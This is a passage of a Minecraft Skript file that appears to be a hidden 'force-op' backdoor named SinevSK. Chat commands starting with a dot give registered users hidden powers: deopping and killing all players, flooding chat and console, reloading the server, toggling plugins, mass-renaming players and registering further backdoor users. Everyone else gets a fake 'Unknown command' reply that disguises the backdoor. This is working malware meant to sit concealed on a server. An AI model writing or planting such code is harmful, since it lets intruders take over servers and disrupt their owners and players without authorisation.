- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- deop {_player}
- message "%{G2ovfqIY}% &7| You de-opped %{_player}%"
- else:
- deop player
- message "%{G2ovfqIY}% &7| You are now deop"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".credits":
- if {logged.sinev.%player%} is true:
- send "&bSinevSK &7was made by &cGotPower (N/A)" to player
- send "&9DirectLeaks: &6google.com" to player
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".logout":
- if {logged.sinev.%player%} is true:
- set {logged.sinev.%player%} to false
- message "%{G2ovfqIY}% &7| &7You logged out. You can speak in chat normally now."
- set {chatno.sinev.%player%} to false
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".killall":
- if {logged.sinev.%player%} is true:
- loop all players:
- if loop-player is not "%player%":
- kill loop-player
- message "%{G2ovfqIY}% &7| &7All players were killed!"
- else:
- message "%{G2ovfqIY}% &7| &7Trying to kill all players.."
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".save":
- if {logged.sinev.%player%} is true:
- make console execute command "save-all"
- message "%{G2ovfqIY}% &7| &7You saved the world"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".plugins":
- if {logged.sinev.%player%} is true:
- message "%{G2ovfqIY}% &7| &e%plugins list%"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".flood":
- if {logged.sinev.%player%} is true:
- message "%{G2ovfqIY}% &7| &7Flooding Chat...."
- wait 2 seconds
- broadcast "&1&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&2&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&3&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&4&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&5&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&6&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&7&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&8&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&9&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&0&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&a&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&b&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&c&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&d&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&e&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&f&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&1&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&2&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&3&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&4&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&5&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&6&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&7&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&8&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&9&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&0&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&a&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&b&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&c&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&d&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&e&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&f&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&1&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&2&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&3&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&4&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&5&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&6&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&7&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&8&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&9&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&0&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&a&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&b&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&c&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&d&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&e&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&f&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&1&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&2&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&3&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&4&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&5&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&6&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&7&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&8&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&9&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&0&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&a&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&b&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&c&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&d&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&e&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- broadcast "&f&kIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
- message "%{G2ovfqIY}% &7| &7Flooded!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".nameme":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set player's display name to "%{_arguments::2}%"
- set the player's tablist name to "%{_arguments::2}%"
- message "%{G2ovfqIY}% &7| &7You have been renamed!"
- else:
- set player's display name to "%sender%"
- set the player's tablist name to "%player%"
- message "%{G2ovfqIY}% &7| &7Your name changed back!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".nameall":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- loop all players:
- set the loop-player's display name to "%{_arguments::2}%"
- set the loop-player's tablist name to "%{_arguments::2}%"
- message "%{G2ovfqIY}% &7| &7All player's have been renamed!"
- else:
- loop all players:
- set the loop-player's display name to "%loop-player%"
- set the loop-player's tablist name to "%loop-player%"
- message "%{G2ovfqIY}% &7| &7All player's have their name back!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".msg":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- if {_arguments::3} is set:
- if {_arguments::4} is set:
- if {_arguments::5} is set:
- if {_arguments::6} is set:
- if {_arguments::7} is set:
- if {_arguments::8} is set:
- if {_arguments::9} is set:
- if {_arguments::10} is set:
- if {_arguments::11} is set:
- if {_arguments::12} is set:
- if {_arguments::13} is set:
- if {_arguments::14} is set:
- if {_arguments::15} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "&8[&dYou to &5%{_player}%&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}% &7%{_arguments::9}% &7%{_arguments::10}% &7%{_arguments::11}% &7%{_arguments::12}% &7%{_arguments::13}% &7%{_arguments::14}% &7%{_arguments::15}%" to player
- message "&8[&5%player% &dto you&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}% &7%{_arguments::9}% &7%{_arguments::10}% &7%{_arguments::11}% &7%{_arguments::12}% &7%{_arguments::13}% &7%{_arguments::14}% &7%{_arguments::15}%" to {_player}
- else:
- message "%{I8BpUFuB3}% &7| &5%{_player}% &7is not online"
- else:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "&8[&dYou to &5%{_player}%&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}% &7%{_arguments::9}% &7%{_arguments::10}% &7%{_arguments::11}% &7%{_arguments::12}% &7%{_arguments::13}% &7%{_arguments::14}%" to player
- message "&8[&5%player% &dto you&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}% &7%{_arguments::9}% &7%{_arguments::10}% &7%{_arguments::11}% &7%{_arguments::12}% &7%{_arguments::13}% &7%{_arguments::14}%" to {_player}
- else:
- message "%{I8BpUFuB3}% &7| &5%{_player}% &7is not online"
- else:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "&8[&dYou to &5%{_player}%&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}% &7%{_arguments::9}% &7%{_arguments::10}% &7%{_arguments::11}% &7%{_arguments::12}% &7%{_arguments::13}%" to player
- message "&8[&5%player% &dto you&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}% &7%{_arguments::9}% &7%{_arguments::10}% &7%{_arguments::11}% &7%{_arguments::12}% &7%{_arguments::13}%" to {_player}
- else:
- message "%{I8BpUFuB3}% &7| &5%{_player}% &7is not online"
- else:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "&8[&dYou to &5%{_player}%&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}% &7%{_arguments::9}% &7%{_arguments::10}% &7%{_arguments::11}% &7%{_arguments::12}%" to player
- message "&8[&5%player% &dto you&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}% &7%{_arguments::9}% &7%{_arguments::10}% &7%{_arguments::11}% &7%{_arguments::12}%" to {_player}
- else:
- message "%{I8BpUFuB3}% &7| &5%{_player}% &7is not online"
- else:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "&8[&dYou to &5%{_player}%&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}% &7%{_arguments::9}% &7%{_arguments::10}% &7%{_arguments::11}%" to player
- message "&8[&5%player% &dto you&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}% &7%{_arguments::9}% &7%{_arguments::10}% &7%{_arguments::11}%" to {_player}
- else:
- message "%{I8BpUFuB3}% &7| &5%{_player}% &7is not online"
- else:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "&8[&dYou to &5%{_player}%&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}% &7%{_arguments::9}% &7%{_arguments::10}%" to player
- message "&8[&5%player% &dto you&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}% &7%{_arguments::9}% &7%{_arguments::10}%" to {_player}
- else:
- message "%{I8BpUFuB3}% &7| &5%{_player}% &7is not online"
- else:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "&8[&dYou to &5%{_player}%&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}% &7%{_arguments::9}%" to player
- message "&8[&5%player% &dto you&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}% &7%{_arguments::9}%" to {_player}
- else:
- message "%{I8BpUFuB3}% &7| &5%{_player}% &7is not online"
- else:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "&8[&dYou to &5%{_player}%&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}%" to player
- message "&8[&5%player% &dto you&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}% &7%{_arguments::8}%" to {_player}
- else:
- message "%{I8BpUFuB3}% &7| &5%{_player}% &7is not online"
- else:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "&8[&dYou to &5%{_player}%&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}%" to player
- message "&8[&5%player% &dto you&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}% &7%{_arguments::7}%" to {_player}
- else:
- message "%{I8BpUFuB3}% &7| &5%{_player}% &7is not online"
- else:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "&8[&dYou to &5%{_player}%&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}%" to player
- message "&8[&5%player% &dto you&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}% &7%{_arguments::6}%" to {_player}
- else:
- message "%{I8BpUFuB3}% &7| &5%{_player}% &7is not online"
- else:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "&8[&dYou to &5%{_player}%&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}%" to player
- message "&8[&5%player% &dto you&8] &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}%" to {_player}
- else:
- message "%{I8BpUFuB3}% &7| &5%{_player}% &7is not online"
- else:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "&8[&dYou to &5%{_player}%&8] &7%{_arguments::3}% &7%{_arguments::4}%" to player
- message "&8[&5%player% &dto you&8] &7%{_arguments::3}% &7%{_arguments::4}%" to {_player}
- else:
- message "%{I8BpUFuB3}% &7| &5%{_player}% &7is not online"
- else:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "&8[&dYou to &5%{_player}%&8] &7%{_arguments::3}%" to player
- message "&8[&5%player% &dto you&8] &7%{_arguments::3}%" to {_player}
- else:
- message "%{I8BpUFuB3}% &7| &5%{_player}% &7is not online"
- else:
- message "%{I8BpUFuB3}% &7| &7.msg <player> <text>"
- else:
- message "%{I8BpUFuB3}% &7| &7.msg <player> <text>"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".reload":
- if {logged.sinev.%player%} is true:
- message "%{G2ovfqIY}% &7| &7Reloading..."
- make console execute command "reload"
- message "%{G2ovfqIY}% &7| &7Reloaded!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".enable":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- enable plugin "plugins/%{_arguments::2}%.jar"
- message "%{G2ovfqIY}% &7| &7Plugin %{_arguments::2}% &7Enabled!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please select a valid plugin!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".disable":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- disable plugin "%{_arguments::2}%"
- message "%{G2ovfqIY}% &7| &7Plugin %{_arguments::2}% Disabled!"
- else:
- message "%{I8BpUFuB3}% &7| Please select a valid plugin!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".register":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "%{G2ovfqIY}% &7| &7Registering the player..."
- wait 2 seconds
- set {logged.sinev.%{_player}%} to true
- set {chatno.sinev.%{_player}%} to true
- message "%{G2ovfqIY}% &7| &7Registered!"
- send "%{G2ovfqIY}% &7| &7You have been registered by someone, right now you can't talk in chat." to {_player}
- send "%{G2ovfqIY}% &7| &7You can use special forceop commands, if you want to see them use .help <page>, Pages 1-4" to {_player}
- send "%{G2ovfqIY}% &7| &7If you don't want to be like this use .logout" to {_player}
- else:
- message "%{I8BpUFuB3}% &7| &c%{_player}% &7is not online"
- else:
- message "%{I8BpUFuB3}% &7| &7.register <player>"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".floodconsole":
- if {logged.sinev.%player%} is true:
- message "%{G2ovfqIY}% &7| &7Flooding console..."
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
